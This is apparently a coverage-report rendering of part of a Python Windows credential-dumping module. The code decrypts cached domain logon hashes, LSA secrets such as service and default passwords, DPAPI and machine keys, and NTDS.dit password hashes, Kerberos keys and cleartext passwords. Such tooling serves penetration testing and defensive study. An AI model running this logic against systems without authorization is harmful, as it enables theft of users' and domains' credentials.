1399 def __pad(self, data): 

1400 if (data & 0x3) > 0: 

1401 return data + (data & 0x3) 

1402 else: 

1403 return data 

1404 

1405 def dumpCachedHashes(self): 

1406 if self.__securityFile is None: 1406 ↛ 1408line 1406 didn't jump to line 1408, because the condition on line 1406 was never true

1407 # No SECURITY file provided 

1408 return 

1409 

1410 LOG.info('Dumping cached domain logon information (domain/username:hash)') 

1411 

1412 # Let's first see if there are cached entries 

1413 values = self.enumValues('\\Cache') 

1414 if values is None: 1414 ↛ 1416line 1414 didn't jump to line 1416, because the condition on line 1414 was never true

1415 # No cache entries 

1416 return 

1417 try: 

1418 # Remove unnecessary value 

1419 values.remove(b'NL$Control') 

1420 except: 

1421 pass 

1422 

1423 iterationCount = 10240 

1424 

1425 if b'NL$IterationCount' in values: 1425 ↛ 1426line 1425 didn't jump to line 1426, because the condition on line 1425 was never true

1426 values.remove(b'NL$IterationCount') 

1427 

1428 record = self.getValue('\\Cache\\NL$IterationCount')[1] 

1429 if record > 10240: 

1430 iterationCount = record & 0xfffffc00 

1431 else: 

1432 iterationCount = record * 1024 

1433 

1434 self.__getLSASecretKey() 

1435 self.__getNLKMSecret() 

1436 

1437 for value in values: 

1438 LOG.debug('Looking into %s' % value.decode('utf-8')) 

1439 record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value.decode('utf-8')))[1]) 

1440 if record['IV'] != 16 * b'\x00': 1440 ↛ 1442line 1440 didn't jump to line 1442, because the condition on line 1440 was never true

1441 #if record['UserLength'] > 0: 

1442 if record['Flags'] & 1 == 1: 

1443 # Encrypted 

1444 if self.__vistaStyle is True: 

1445 plainText = self.__cryptoCommon.decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['IV']) 

1446 else: 

1447 plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['IV']) 

1448 pass 

1449 else: 

1450 # Plain! Until we figure out what this is, we skip it 

1451 #plainText = record['EncryptedData'] 

1452 continue 

1453 encHash = plainText[:0x10] 

1454 plainText = plainText[0x48:] 

1455 userName = plainText[:record['UserLength']].decode('utf-16le') 

1456 plainText = plainText[self.__pad(record['UserLength']) + self.__pad(record['DomainNameLength']):] 

1457 domainLong = plainText[:self.__pad(record['DnsDomainNameLength'])].decode('utf-16le') 

1458 

1459 if self.__vistaStyle is True: 

1460 answer = "%s/%s:$DCC2$%s#%s#%s" % (domainLong, userName, iterationCount, userName, hexlify(encHash).decode('utf-8')) 

1461 else: 

1462 answer = "%s/%s:%s:%s" % (domainLong, userName, hexlify(encHash).decode('utf-8'), userName) 

1463 

1464 self.__cachedItems.append(answer) 

1465 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_HASHED, answer) 

1466 

1467 def __printSecret(self, name, secretItem): 

1468 # Based on [MS-LSAD] section 3.1.1.4 

1469 

1470 # First off, let's discard NULL secrets. 

1471 if len(secretItem) == 0: 1471 ↛ 1472line 1471 didn't jump to line 1472, because the condition on line 1471 was never true

1472 LOG.debug('Discarding secret %s, NULL Data' % name) 

1473 return 

1474 

1475 # We might have secrets with zero 

1476 if secretItem.startswith(b'\x00\x00'): 1476 ↛ 1477line 1476 didn't jump to line 1477, because the condition on line 1476 was never true

1477 LOG.debug('Discarding secret %s, all zeros' % name) 

1478 return 

1479 

1480 upperName = name.upper() 

1481 

1482 LOG.info('%s ' % name) 

1483 

1484 secret = '' 

1485 

1486 if upperName.startswith('_SC_'): 

1487 # Service name, a password might be there 

1488 # Let's first try to decode the secret 

1489 try: 

1490 strDecoded = secretItem.decode('utf-16le') 

1491 except: 

1492 pass 

1493 else: 

1494 # We have to get the account the service 

1495 # runs under 

1496 if hasattr(self.__remoteOps, 'getServiceAccount'): 1496 ↛ 1504line 1496 didn't jump to line 1504, because the condition on line 1496 was never false

1497 account = self.__remoteOps.getServiceAccount(name[4:]) 

1498 if account is None: 1498 ↛ 1499line 1498 didn't jump to line 1499, because the condition on line 1498 was never true

1499 secret = self.UNKNOWN_USER + ':' 

1500 else: 

1501 secret = "%s:" % account 

1502 else: 

1503 # We don't support getting this info for local targets at the moment 

1504 secret = self.UNKNOWN_USER + ':' 

1505 secret += strDecoded 

1506 elif upperName.startswith('DEFAULTPASSWORD'): 

1507 # defaults password for winlogon 

1508 # Let's first try to decode the secret 

1509 try: 

1510 strDecoded = secretItem.decode('utf-16le') 

1511 except: 

1512 pass 

1513 else: 

1514 # We have to get the account this password is for 

1515 if hasattr(self.__remoteOps, 'getDefaultLoginAccount'): 1515 ↛ 1523line 1515 didn't jump to line 1523, because the condition on line 1515 was never false

1516 account = self.__remoteOps.getDefaultLoginAccount() 

1517 if account is None: 1517 ↛ 1518line 1517 didn't jump to line 1518, because the condition on line 1517 was never true

1518 secret = self.UNKNOWN_USER + ':' 

1519 else: 

1520 secret = "%s:" % account 

1521 else: 

1522 # We don't support getting this info for local targets at the moment 

1523 secret = self.UNKNOWN_USER + ':' 

1524 secret += strDecoded 

1525 elif upperName.startswith('ASPNET_WP_PASSWORD'): 1525 ↛ 1526line 1525 didn't jump to line 1526, because the condition on line 1525 was never true

1526 try: 

1527 strDecoded = secretItem.decode('utf-16le') 

1528 except: 

1529 pass 

1530 else: 

1531 secret = 'ASPNET: %s' % strDecoded 

1532 elif upperName.startswith('DPAPI_SYSTEM'): 

1533 # Decode the DPAPI Secrets 

1534 dpapi = DPAPI_SYSTEM(secretItem) 

1535 secret = "dpapi_machinekey:0x{0}\ndpapi_userkey:0x{1}".format( hexlify(dpapi['MachineKey']).decode('latin-1'), 

1536 hexlify(dpapi['UserKey']).decode('latin-1')) 

1537 elif upperName.startswith('$MACHINE.ACC'): 

1538 # compute MD4 of the secret.. yes.. that is the nthash? :-o 

1539 md4 = MD4.new() 

1540 md4.update(secretItem) 

1541 if hasattr(self.__remoteOps, 'getMachineNameAndDomain'): 1541 ↛ 1547line 1541 didn't jump to line 1547, because the condition on line 1541 was never false

1542 machine, domain = self.__remoteOps.getMachineNameAndDomain() 

1543 printname = "%s\\%s$" % (domain, machine) 

1544 secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')).decode('utf-8'), 

1545 hexlify(md4.digest()).decode('utf-8')) 

1546 else: 

1547 printname = "$MACHINE.ACC" 

1548 secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')).decode('utf-8'), 

1549 hexlify(md4.digest()).decode('utf-8')) 

1550 # Attempt to calculate and print Kerberos keys 

1551 if not self.__printMachineKerberos(secretItem, printname): 1551 ↛ 1552line 1551 didn't jump to line 1552, because the condition on line 1551 was never true

1552 LOG.debug('Could not calculate machine account Kerberos keys, only printing plain password (hex encoded)') 

1553 # Always print plaintext anyway since this may be needed for some popular usecases 

1554 extrasecret = "%s:plain_password_hex:%s" % (printname, hexlify(secretItem).decode('utf-8')) 

1555 self.__secretItems.append(extrasecret) 

1556 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, extrasecret) 

1557 

1558 if secret != '': 

1559 printableSecret = secret 

1560 self.__secretItems.append(secret) 

1561 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, printableSecret) 

1562 else: 

1563 # Default print, hexdump 

1564 printableSecret = '%s:%s' % (name, hexlify(secretItem).decode('utf-8')) 

1565 self.__secretItems.append(printableSecret) 

1566 # If we're using the default callback (ourselves), we print the hex representation. If not, the 

1567 # user will need to decide what to do. 

1568 if self.__module__ == self.__perSecretCallback.__module__: 1568 ↛ 1570line 1568 didn't jump to line 1570, because the condition on line 1568 was never false

1569 hexdump(secretItem) 

1570 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_RAW, printableSecret) 

1571 

1572 def __printMachineKerberos(self, rawsecret, machinename): 

1573 # Attempt to create Kerberos keys from machine account (if possible) 

1574 if hasattr(self.__remoteOps, 'getMachineKerberosSalt'): 1574 ↛ 1602line 1574 didn't jump to line 1602, because the condition on line 1574 was never false

1575 salt = self.__remoteOps.getMachineKerberosSalt() 

1576 if salt == b'': 1576 ↛ 1577line 1576 didn't jump to line 1577, because the condition on line 1576 was never true

1577 return False 

1578 else: 

1579 allciphers = [ 

1580 int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), 

1581 int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value), 

1582 int(constants.EncryptionTypes.des_cbc_md5.value) 

1583 ] 

1584 # Ok, so the machine account password is in raw UTF-16, BUT can contain any amount 

1585 # of invalid unicode characters. 

1586 # This took me (Dirk-jan) way too long to figure out, but apparently Microsoft 

1587 # implicitly replaces those when converting utf-16 to utf-8. 

1588 # When we use the same method we get the valid password -> key mapping :) 

1589 rawsecret = rawsecret.decode('utf-16-le', 'replace').encode('utf-8', 'replace') 

1590 for etype in allciphers: 

1591 try: 

1592 key = string_to_key(etype, rawsecret, salt, None) 

1593 except Exception: 

1594 LOG.debug('Exception', exc_info=True) 

1595 raise 

1596 typename = NTDSHashes.KERBEROS_TYPE[etype] 

1597 secret = "%s:%s:%s" % (machinename, typename, hexlify(key.contents).decode('utf-8')) 

1598 self.__secretItems.append(secret) 

1599 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_KERBEROS, secret) 

1600 return True 

1601 else: 

1602 return False 

1603 

1604 def dumpSecrets(self): 

1605 if self.__securityFile is None: 1605 ↛ 1607line 1605 didn't jump to line 1607, because the condition on line 1605 was never true

1606 # No SECURITY file provided 

1607 return 

1608 

1609 LOG.info('Dumping LSA Secrets') 

1610 

1611 # Let's first see if there are cached entries 

1612 keys = self.enumKey('\\Policy\\Secrets') 

1613 if keys is None: 1613 ↛ 1615line 1613 didn't jump to line 1615, because the condition on line 1613 was never true

1614 # No entries 

1615 return 

1616 try: 

1617 # Remove unnecessary value 

1618 keys.remove(b'NL$Control') 

1619 except: 

1620 pass 

1621 

1622 if self.__LSAKey == b'': 1622 ↛ 1623line 1622 didn't jump to line 1623, because the condition on line 1622 was never true

1623 self.__getLSASecretKey() 

1624 

1625 for key in keys: 

1626 LOG.debug('Looking into %s' % key) 

1627 valueTypeList = ['CurrVal'] 

1628 # Check if old LSA secrets values are also need to be shown 

1629 if self.__history: 

1630 valueTypeList.append('OldVal') 

1631 

1632 for valueType in valueTypeList: 

1633 value = self.getValue('\\Policy\\Secrets\\{}\\{}\\default'.format(key,valueType)) 

1634 if value is not None and value[1] != 0: 

1635 if self.__vistaStyle is True: 1635 ↛ 1642line 1635 didn't jump to line 1642, because the condition on line 1635 was never false

1636 record = LSA_SECRET(value[1]) 

1637 tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32]) 

1638 plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:]) 

1639 record = LSA_SECRET_BLOB(plainText) 

1640 secret = record['Secret'] 

1641 else: 

1642 secret = self.__decryptSecret(self.__LSAKey, value[1]) 

1643 

1644 # If this is an OldVal secret, let's append '_history' to be able to distinguish it and 

1645 # also be consistent with NTDS history 

1646 if valueType == 'OldVal': 

1647 key += '_history' 

1648 self.__printSecret(key, secret) 

1649 

1650 def exportSecrets(self, baseFileName, openFileFunc = None): 

1651 if len(self.__secretItems) > 0: 

1652 fileName = baseFileName+'.secrets' 

1653 fd = openFile(fileName, openFileFunc=openFileFunc) 

1654 for item in self.__secretItems: 

1655 fd.write(item+'\n') 

1656 fd.close() 

1657 return fileName 

1658 

1659 def exportCached(self, baseFileName, openFileFunc = None): 

1660 if len(self.__cachedItems) > 0: 

1661 fileName = baseFileName+'.cached' 

1662 fd = openFile(fileName, openFileFunc=openFileFunc) 

1663 for item in self.__cachedItems: 

1664 fd.write(item+'\n') 

1665 fd.close() 

1666 return fileName 

1667 

1668 

1669class ResumeSessionMgrInFile(object): 

1670 def __init__(self, resumeFileName=None): 

1671 self.__resumeFileName = resumeFileName 

1672 self.__resumeFile = None 

1673 self.__hasResumeData = resumeFileName is not None 

1674 

1675 def hasResumeData(self): 

1676 return self.__hasResumeData 

1677 

1678 def clearResumeData(self): 

1679 self.endTransaction() 

1680 if self.__resumeFileName and os.path.isfile(self.__resumeFileName): 1680 ↛ exitline 1680 didn't return from function 'clearResumeData', because the condition on line 1680 was never false

1681 os.remove(self.__resumeFileName) 

1682 

1683 def writeResumeData(self, data): 

1684 # self.beginTransaction() must be called first, but we are aware of performance here, so we avoid checking that 

1685 self.__resumeFile.seek(0, 0) 

1686 self.__resumeFile.truncate(0) 

1687 self.__resumeFile.write(data.encode()) 

1688 self.__resumeFile.flush() 

1689 

1690 def getResumeData(self): 

1691 try: 

1692 self.__resumeFile = open(self.__resumeFileName,'rb') 

1693 except Exception as e: 

1694 raise Exception('Cannot open resume session file name %s' % str(e)) 

1695 resumeSid = self.__resumeFile.read() 

1696 self.__resumeFile.close() 

1697 # Truncate and reopen the file as wb+ 

1698 self.__resumeFile = open(self.__resumeFileName,'wb+') 

1699 return resumeSid.decode('utf-8') 

1700 

1701 def getFileName(self): 

1702 return self.__resumeFileName 

1703 

1704 def beginTransaction(self): 

1705 if not self.__resumeFileName: 1705 ↛ 1708line 1705 didn't jump to line 1708, because the condition on line 1705 was never false

1706 self.__resumeFileName = 'sessionresume_%s' % ''.join(random.choice(string.ascii_letters) for _ in range(8)) 

1707 LOG.debug('Session resume file will be %s' % self.__resumeFileName) 

1708 if not self.__resumeFile: 1708 ↛ exitline 1708 didn't return from function 'beginTransaction', because the condition on line 1708 was never false

1709 try: 

1710 self.__resumeFile = open(self.__resumeFileName, 'wb+') 

1711 except Exception as e: 

1712 raise Exception('Cannot create "%s" resume session file: %s' % (self.__resumeFileName, str(e))) 

1713 

1714 def endTransaction(self): 

1715 if self.__resumeFile: 

1716 self.__resumeFile.close() 

1717 self.__resumeFile = None 

1718 

1719 

1720class NTDSHashes: 

1721 class SECRET_TYPE: 

1722 NTDS = 0 

1723 NTDS_CLEARTEXT = 1 

1724 NTDS_KERBEROS = 2 

1725 

1726 NAME_TO_INTERNAL = { 

1727 'uSNCreated':b'ATTq131091', 

1728 'uSNChanged':b'ATTq131192', 

1729 'name':b'ATTm3', 

1730 'objectGUID':b'ATTk589826', 

1731 'objectSid':b'ATTr589970', 

1732 'userAccountControl':b'ATTj589832', 

1733 'primaryGroupID':b'ATTj589922', 

1734 'accountExpires':b'ATTq589983', 

1735 'logonCount':b'ATTj589993', 

1736 'sAMAccountName':b'ATTm590045', 

1737 'sAMAccountType':b'ATTj590126', 

1738 'lastLogonTimestamp':b'ATTq589876', 

1739 'userPrincipalName':b'ATTm590480', 

1740 'unicodePwd':b'ATTk589914', 

1741 'dBCSPwd':b'ATTk589879', 

1742 'ntPwdHistory':b'ATTk589918', 

1743 'lmPwdHistory':b'ATTk589984', 

1744 'pekList':b'ATTk590689', 

1745 'supplementalCredentials':b'ATTk589949', 

1746 'pwdLastSet':b'ATTq589920', 

1747 } 

1748 

1749 NAME_TO_ATTRTYP = { 

1750 'userPrincipalName': 0x90290, 

1751 'sAMAccountName': 0x900DD, 

1752 'unicodePwd': 0x9005A, 

1753 'dBCSPwd': 0x90037, 

1754 'ntPwdHistory': 0x9005E, 

1755 'lmPwdHistory': 0x900A0, 

1756 'supplementalCredentials': 0x9007D, 

1757 'objectSid': 0x90092, 

1758 'userAccountControl':0x90008, 

1759 } 

1760 

1761 ATTRTYP_TO_ATTID = { 

1762 'userPrincipalName': '1.2.840.113556.1.4.656', 

1763 'sAMAccountName': '1.2.840.113556.1.4.221', 

1764 'unicodePwd': '1.2.840.113556.1.4.90', 

1765 'dBCSPwd': '1.2.840.113556.1.4.55', 

1766 'ntPwdHistory': '1.2.840.113556.1.4.94', 

1767 'lmPwdHistory': '1.2.840.113556.1.4.160', 

1768 'supplementalCredentials': '1.2.840.113556.1.4.125', 

1769 'objectSid': '1.2.840.113556.1.4.146', 

1770 'pwdLastSet': '1.2.840.113556.1.4.96', 

1771 'userAccountControl':'1.2.840.113556.1.4.8', 

1772 } 

1773 

1774 KERBEROS_TYPE = { 

1775 1:'dec-cbc-crc', 

1776 3:'des-cbc-md5', 

1777 17:'aes128-cts-hmac-sha1-96', 

1778 18:'aes256-cts-hmac-sha1-96', 

1779 0xffffff74:'rc4_hmac', 

1780 } 

1781 

1782 INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.items()) 

1783 

1784 SAM_NORMAL_USER_ACCOUNT = 0x30000000 

1785 SAM_MACHINE_ACCOUNT = 0x30000001 

1786 SAM_TRUST_ACCOUNT = 0x30000002 

1787 

1788 ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT) 

1789 

1790 class PEKLIST_ENC(Structure): 

1791 structure = ( 

1792 ('Header','8s=b""'), 

1793 ('KeyMaterial','16s=b""'), 

1794 ('EncryptedPek',':'), 

1795 ) 

1796 

1797 class PEKLIST_PLAIN(Structure): 

1798 structure = ( 

1799 ('Header','32s=b""'), 

1800 ('DecryptedPek',':'), 

1801 ) 

1802 

1803 class PEK_KEY(Structure): 

1804 structure = ( 

1805 ('Header','1s=b""'), 

1806 ('Padding','3s=b""'), 

1807 ('Key','16s=b""'), 

1808 ) 

1809 

1810 class CRYPTED_HASH(Structure): 

1811 structure = ( 

1812 ('Header','8s=b""'), 

1813 ('KeyMaterial','16s=b""'), 

1814 ('EncryptedHash','16s=b""'), 

1815 ) 

1816 

1817 class CRYPTED_HASHW16(Structure): 

1818 structure = ( 

1819 ('Header','8s=b""'), 

1820 ('KeyMaterial','16s=b""'), 

1821 ('Unknown','<L=0'), 

1822 ('EncryptedHash', ':'), 

1823 ) 

1824 

1825 class CRYPTED_HISTORY(Structure): 

1826 structure = ( 

1827 ('Header','8s=b""'), 

1828 ('KeyMaterial','16s=b""'), 

1829 ('EncryptedHash',':'), 

1830 ) 

1831 

1832 class CRYPTED_BLOB(Structure): 

1833 structure = ( 

1834 ('Header','8s=b""'), 

1835 ('KeyMaterial','16s=b""'), 

1836 ('EncryptedHash',':'), 

1837 ) 

1838 

1839 def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=True, remoteOps=None, 

1840 useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None, 

1841 justUser=None, printUserStatus=False, 

1842 perSecretCallback = lambda secretType, secret : _print_helper(secret), 

1843 resumeSessionMgr=ResumeSessionMgrInFile): 

1844 self.__bootKey = bootKey 

1845 self.__NTDS = ntdsFile 

1846 self.__history = history 

1847 self.__noLMHash = noLMHash 

1848 self.__useVSSMethod = useVSSMethod 

1849 self.__remoteOps = remoteOps 

1850 self.__pwdLastSet = pwdLastSet 

1851 self.__printUserStatus = printUserStatus 

1852 if self.__NTDS is not None: 

1853 self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote) 

1854 self.__cursor = self.__ESEDB.openTable('datatable') 

1855 self.__tmpUsers = list() 

1856 self.__PEK = list() 

1857 self.__cryptoCommon = CryptoCommon() 

1858 self.__kerberosKeys = OrderedDict() 

1859 self.__clearTextPwds = OrderedDict() 

1860 self.__justNTLM = justNTLM 

1861 self.__resumeSession = resumeSessionMgr(resumeSession) 

1862 self.__outputFileName = outputFileName 

1863 self.__justUser = justUser 

1864 self.__perSecretCallback = perSecretCallback 

1865 

1866 def getResumeSessionFile(self): 

1867 return self.__resumeSession.getFileName() 

1868 

1869 def __getPek(self): 

1870 LOG.info('Searching for pekList, be patient') 

1871 peklist = None 

1872 while True: 

1873 try: 

1874 record = self.__ESEDB.getNextRow(self.__cursor) 

1875 except: 

1876 LOG.error('Error while calling getNextRow(), trying the next one') 

1877 continue 

1878 

1879 if record is None: 1879 ↛ 1880line 1879 didn't jump to line 1880, because the condition on line 1879 was never true

1880 break 

1881 elif record[self.NAME_TO_INTERNAL['pekList']] is not None: 

1882 peklist = unhexlify(record[self.NAME_TO_INTERNAL['pekList']]) 

1883 break 

1884 elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES: 1884 ↛ 1887line 1884 didn't jump to line 1887, because the condition on line 1884 was never true

1885 # Okey.. we found some users, but we're not yet ready to process them. 

1886 # Let's just store them in a temp list 

1887 self.__tmpUsers.append(record) 

1888 

1889 if peklist is not None: 1889 ↛ exitline 1889 didn't return from function '__getPek', because the condition on line 1889 was never false

1890 encryptedPekList = self.PEKLIST_ENC(peklist) 

1891 if encryptedPekList['Header'][:4] == b'\x02\x00\x00\x00': 1891 ↛ 1907line 1891 didn't jump to line 1907, because the condition on line 1891 was never false

1892 # Up to Windows 2012 R2 looks like header starts this way 

1893 md5 = hashlib.new('md5') 

1894 md5.update(self.__bootKey) 

1895 for i in range(1000): 

1896 md5.update(encryptedPekList['KeyMaterial']) 

1897 tmpKey = md5.digest() 

1898 rc4 = ARC4.new(tmpKey) 

1899 decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek'])) 

1900 PEKLen = len(self.PEK_KEY()) 

1901 for i in range(len( decryptedPekList['DecryptedPek'] ) // PEKLen ): 

1902 cursor = i * PEKLen 

1903 pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor:cursor+PEKLen]) 

1904 LOG.info("PEK # %d found and decrypted: %s", i, hexlify(pek['Key']).decode('utf-8')) 

1905 self.__PEK.append(pek['Key']) 

1906 

1907 elif encryptedPekList['Header'][:4] == b'\x03\x00\x00\x00': 

1908 # Windows 2016 TP4 header starts this way 

1909 # Encrypted PEK Key seems to be different, but actually similar to decrypting LSA Secrets. 

1910 # using AES: 

1911 # Key: the bootKey 

1912 # CipherText: PEKLIST_ENC['EncryptedPek'] 

1913 # IV: PEKLIST_ENC['KeyMaterial'] 

1914 decryptedPekList = self.PEKLIST_PLAIN( 

1915 self.__cryptoCommon.decryptAES(self.__bootKey, encryptedPekList['EncryptedPek'], 

1916 encryptedPekList['KeyMaterial'])) 

1917 

1918 # PEK list entries take the form: 

1919 # index (4 byte LE int), PEK (16 byte key) 

1920 # the entries are in ascending order, and the list is terminated 

1921 # by an entry with a non-sequential index (08080808 observed) 

1922 pos, cur_index = 0, 0 

1923 while True: 

1924 pek_entry = decryptedPekList['DecryptedPek'][pos:pos+20] 

1925 if len(pek_entry) < 20: break # if list truncated, should not happen 

1926 index, pek = unpack('<L16s', pek_entry) 

1927 if index != cur_index: break # break on non-sequential index 

1928 self.__PEK.append(pek) 

1929 LOG.info("PEK # %d found and decrypted: %s", index, hexlify(pek).decode('utf-8')) 

1930 cur_index += 1 

1931 pos += 20 

1932 

1933 def __removeRC4Layer(self, cryptedHash): 

1934 md5 = hashlib.new('md5') 

1935 # PEK index can be found on header of each ciphered blob (pos 8-10) 

1936 pekIndex = hexlify(cryptedHash['Header']) 

1937 md5.update(self.__PEK[int(pekIndex[8:10])]) 

1938 md5.update(cryptedHash['KeyMaterial']) 

1939 tmpKey = md5.digest() 

1940 rc4 = ARC4.new(tmpKey) 

1941 plainText = rc4.encrypt(cryptedHash['EncryptedHash']) 

1942 

1943 return plainText 

1944 

1945 def __removeDESLayer(self, cryptedHash, rid): 

1946 Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid)) 

1947 

1948 Crypt1 = DES.new(Key1, DES.MODE_ECB) 

1949 Crypt2 = DES.new(Key2, DES.MODE_ECB) 

1950 

1951 decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:]) 

1952 

1953 return decryptedHash 

1954 

1955 @staticmethod 

1956 def __fileTimeToDateTime(t): 

1957 t -= 116444736000000000 

1958 t //= 10000000 

1959 if t < 0: 

1960 return 'never' 

1961 else: 

1962 dt = datetime.fromtimestamp(t) 

1963 return dt.strftime("%Y-%m-%d %H:%M") 

1964 

1965 def __decryptSupplementalInfo(self, record, prefixTable=None, keysFile=None, clearTextFile=None): 

1966 # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures 

1967 haveInfo = False 

1968 LOG.debug('Entering NTDSHashes.__decryptSupplementalInfo') 

1969 if self.__useVSSMethod is True: 

1970 if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None: 

1971 if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24: 1971 ↛ 2032line 1971 didn't jump to line 2032, because the condition on line 1971 was never false

1972 if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None: 

1973 domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1] 

1974 userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']]) 

1975 else: 

1976 userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']] 

1977 cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) 

1978 

1979 if cipherText['Header'][:4] == b'\x13\x00\x00\x00': 1979 ↛ 1981line 1979 didn't jump to line 1981, because the condition on line 1979 was never true

1980 # Win2016 TP4 decryption is different 

1981 pekIndex = hexlify(cipherText['Header']) 

1982 plainText = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], 

1983 cipherText['EncryptedHash'][4:], 

1984 cipherText['KeyMaterial']) 

1985 haveInfo = True 

1986 else: 

1987 plainText = self.__removeRC4Layer(cipherText) 

1988 haveInfo = True 

1989 else: 

1990 domain = None 

1991 userName = None 

1992 replyVersion = 'V%d' % record['pdwOutVersion'] 

1993 for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']: 

1994 try: 

1995 attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp']) 

1996 LOOKUP_TABLE = self.ATTRTYP_TO_ATTID 

1997 except Exception as e: 

1998 LOG.debug('Failed to execute OidFromAttid with error %s' % e) 

1999 LOG.debug('Exception', exc_info=True) 

2000 # Fallbacking to fixed table and hope for the best 

2001 attId = attr['attrTyp'] 

2002 LOOKUP_TABLE = self.NAME_TO_ATTRTYP 

2003 

2004 if attId == LOOKUP_TABLE['userPrincipalName']: 

2005 if attr['AttrVal']['valCount'] > 0: 2005 ↛ 2011line 2005 didn't jump to line 2011, because the condition on line 2005 was never false

2006 try: 

2007 domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1] 

2008 except: 

2009 domain = None 

2010 else: 

2011 domain = None 

2012 elif attId == LOOKUP_TABLE['sAMAccountName']: 

2013 if attr['AttrVal']['valCount'] > 0: 2013 ↛ 2021line 2013 didn't jump to line 2021, because the condition on line 2013 was never false

2014 try: 

2015 userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le') 

2016 except: 

2017 LOG.error( 

2018 'Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 

2019 userName = 'unknown' 

2020 else: 

2021 LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 

2022 userName = 'unknown' 

2023 if attId == LOOKUP_TABLE['supplementalCredentials']: 

2024 if attr['AttrVal']['valCount'] > 0: 2024 ↛ 1993line 2024 didn't jump to line 1993, because the condition on line 2024 was never false

2025 blob = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) 

2026 plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob) 

2027 if len(plainText) > 24: 2027 ↛ 1993line 2027 didn't jump to line 1993, because the condition on line 2027 was never false

2028 haveInfo = True 

2029 if domain is not None: 

2030 userName = '%s\\%s' % (domain, userName) 

2031 

2032 if haveInfo is True: 

2033 try: 

2034 userProperties = samr.USER_PROPERTIES(plainText) 

2035 except: 

2036 # On some old w2k3 there might be user properties that don't 

2037 # match [MS-SAMR] structure, discarding them 

2038 return 

2039 propertiesData = userProperties['UserProperties'] 

2040 for propertyCount in range(userProperties['PropertyCount']): 

2041 userProperty = samr.USER_PROPERTY(propertiesData) 

2042 propertiesData = propertiesData[len(userProperty):] 

2043 # For now, we will only process Newer Kerberos Keys and CLEARTEXT 

2044 if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys': 

2045 propertyValueBuffer = unhexlify(userProperty['PropertyValue']) 

2046 kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer) 

2047 data = kerbStoredCredentialNew['Buffer'] 

2048 for credential in range(kerbStoredCredentialNew['CredentialCount']): 

2049 keyDataNew = samr.KERB_KEY_DATA_NEW(data) 

2050 data = data[len(keyDataNew):] 

2051 keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']] 

2052 

2053 if keyDataNew['KeyType'] in self.KERBEROS_TYPE: 2053 ↛ 2056line 2053 didn't jump to line 2056, because the condition on line 2053 was never false

2054 answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue).decode('utf-8')) 

2055 else: 

2056 answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue).decode('utf-8')) 

2057 # We're just storing the keys, not printing them, to make the output more readable 

2058 # This is kind of ugly... but it's what I came up with tonight to get an ordered 

2059 # set :P. Better ideas welcomed ;) 

2060 self.__kerberosKeys[answer] = None 

2061 if keysFile is not None: 2061 ↛ 2062line 2061 didn't jump to line 2062, because the condition on line 2061 was never true

2062 self.__writeOutput(keysFile, answer + '\n') 

2063 elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT': 2063 ↛ 2066line 2063 didn't jump to line 2066, because the condition on line 2063 was never true

2064 # [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property 

2065 # This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password. 

2066 try: 

2067 answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le')) 

2068 except UnicodeDecodeError: 
